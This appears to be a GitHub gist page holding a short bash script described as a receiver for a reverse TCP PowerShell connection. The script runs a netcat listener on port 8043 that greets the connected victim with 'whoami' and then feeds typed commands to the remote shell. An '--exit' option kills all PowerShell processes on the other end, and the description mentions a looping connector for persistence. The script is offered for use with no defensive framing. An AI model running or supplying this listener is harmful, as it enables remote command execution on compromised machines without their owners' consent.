Skip to content

Instantly share code, notes, and snippets.

@downloadpizza
Created May 9, 2019 08:35
Show Gist options
  • Save downloadpizza/3d205e7d733173b1f4e7bfe6969d339a to your computer and use it in GitHub Desktop.
Save downloadpizza/3d205e7d733173b1f4e7bfe6969d339a to your computer and use it in GitHub Desktop.
A receiver for a reverse tcp powershell (--exit is to kill all PS instances if you put PS the conenctor in a loop)
#!/usr/bin/env bash
if [[ $1 = "--exit" ]]
then
echo "exiting..."
echo "ps powershell | kill"|nc -lp 8043
echo "done"
exit 1
fi
(echo "echo \"connected to \$(whoami)\""&&cat)|nc -lp 8043
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment